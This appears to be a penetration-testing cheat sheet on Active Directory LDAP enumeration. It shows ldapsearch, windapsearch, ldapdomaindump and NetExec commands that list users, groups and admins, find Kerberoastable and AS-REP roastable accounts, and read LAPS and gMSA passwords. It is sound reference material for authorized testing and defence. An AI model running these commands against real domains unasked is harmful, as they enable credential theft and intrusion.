AD Attacks

AD LDAP Enumeration

Active Directory LDAP structure, anonymous and authenticated enumeration, LDAP filters, ldapsearch, ldapdomaindump, windapsearch, and extracting users/computers/groups/GPOs directly over port 389/636.

LDAP is the query protocol that backs everything in Active Directory. Even without PowerView or BloodHound, raw LDAP queries give you a full picture of the domain — users, groups, computers, GPOs, trusts, and ACLs. Anonymous binds leak object counts; authenticated binds leak everything.

LDAP Basics

PortUse
389 (TCP/UDP)LDAP (cleartext or STARTTLS)
636 (TCP)LDAPS (TLS-wrapped)
3268 (TCP)Global Catalog — cross-domain queries
3269 (TCP)Global Catalog over TLS

Distinguished Name (DN) format:

CN=John Smith,OU=IT,DC=corp,DC=local

LDAP search filter syntax:

(objectClass=user)                   # all users
(&(objectClass=user)(sAMAccountName=john))  # specific user
(!(userAccountControl:1.2.840.113556.1.4.803:=2))  # enabled accounts

Anonymous / Null Bind Enumeration

Check if the DC allows unauthenticated LDAP queries:

# Test null bind
ldapsearch -x -H ldap://DC_IP -b "" -s base namingcontexts

# Enumerate base DN without credentials
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local"

# List all objects (anonymous — usually fails on hardened DCs)
ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" "(objectClass=*)" dn

Authenticated LDAP Enumeration

# All domain users
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName userPrincipalName memberOf

# All computers
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=computer)" dnshostname operatingsystem

# All groups + members
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=group)" cn member

# Domain Admins members
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member

# Kerberoastable accounts (have SPN, are users, are enabled)
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))" \
  sAMAccountName servicePrincipalName

# AS-REP roastable accounts (Kerberos pre-auth not required)
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" \
  "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

# LAPS-enabled computers (ms-Mcs-AdmPwd attribute present)
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=computer)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime dnshostname

# Accounts with passwords set to never expire
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" sAMAccountName

# Password stored with reversible encryption
ldapsearch -x -H ldap://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=128))" sAMAccountName

windapsearch

Faster Python alternative to ldapsearch for structured AD queries:

# Enumerate users
python3 windapsearch.py -d corp.local -u user@corp.local -p 'password' --da

# Get all domain admins
python3 windapsearch.py -d corp.local -u user -p 'password' --da

# Enumerate computers
python3 windapsearch.py -d corp.local -u user -p 'password' --computers

# Kerberoastable users
python3 windapsearch.py -d corp.local -u user -p 'password' --kerberoastable

# Enumerate groups
python3 windapsearch.py -d corp.local -u user -p 'password' --groups

# Custom LDAP filter
python3 windapsearch.py -d corp.local -u user -p 'password' \
  --custom "(objectClass=trustedDomain)"

ldapdomaindump

Dumps AD to JSON/HTML — good for reporting and offline analysis:

# Full dump
ldapdomaindump -u 'DOMAIN\user' -p 'password' ldap://DC_IP -o /tmp/ad_dump/

# Output files:
#   domain_users.json / .html    — all users + attributes
#   domain_computers.json / .html
#   domain_groups.json / .html
#   domain_policy.json
#   domain_trusts.json

# Review in browser
firefox /tmp/ad_dump/domain_users.html

NetExec LDAP Module

# Enumerate users over LDAP
nxc ldap DC_IP -u user -p 'password' --users

# Kerberoastable
nxc ldap DC_IP -u user -p 'password' --kerberoasting hashes.txt

# AS-REP roastable
nxc ldap DC_IP -u user -p 'password' --asreproast hashes.txt

# Dump LAPS passwords (if read access)
nxc ldap DC_IP -u user -p 'password' --laps

# BloodHound collection via LDAP
nxc ldap DC_IP -u user -p 'password' --bloodhound --collection All

# Password in description
nxc ldap DC_IP -u user -p 'password' --query "(description=*pass*)" sAMAccountName description

# gmsa passwords
nxc ldap DC_IP -u user -p 'password' --gmsa

UserAccountControl Flag Reference

Common UAC bit values used in LDAP filters:

Bit (decimal)Meaning
2Account disabled
32Lockout
64Passwd not required
128Encrypted text password allowed
512Normal account (default)
4096Workstation/computer account
65536Password never expires
4194304No pre-auth required (AS-REP roast)
16777216Trusted for unconstrained delegation

Filter syntax for bitwise AND: (attr:1.2.840.113556.1.4.803:=VALUE)


LDAP over TLS (LDAPS)

# Test if LDAPS is available
openssl s_client -connect DC_IP:636 -showcerts

# ldapsearch over TLS
ldapsearch -H ldaps://DC_IP -D "DOMAIN\user" -w 'password' \
  -b "DC=corp,DC=local" "(objectClass=user)" sAMAccountName

# Skip cert verification (self-signed DC cert)
LDAPTLS_REQCERT=never ldapsearch -H ldaps://DC_IP ...

Common Attributes to Pull

AttributeContains
sAMAccountNamelogin name
userPrincipalNameUPN (email-style)
memberOfgroup memberships
servicePrincipalNameSPNs (Kerberoast)
userAccountControlaccount flags
pwdLastSetwhen password was last set (0 = never)
lastLogonTimestamplast logon (domain-replicated)
descriptionoften contains passwords in legacy setups
ms-Mcs-AdmPwdLAPS local admin password
msDS-AllowedToActOnBehalfOfOtherIdentityRBCD attribute
msDS-GroupMSAMembershipgMSA password read permission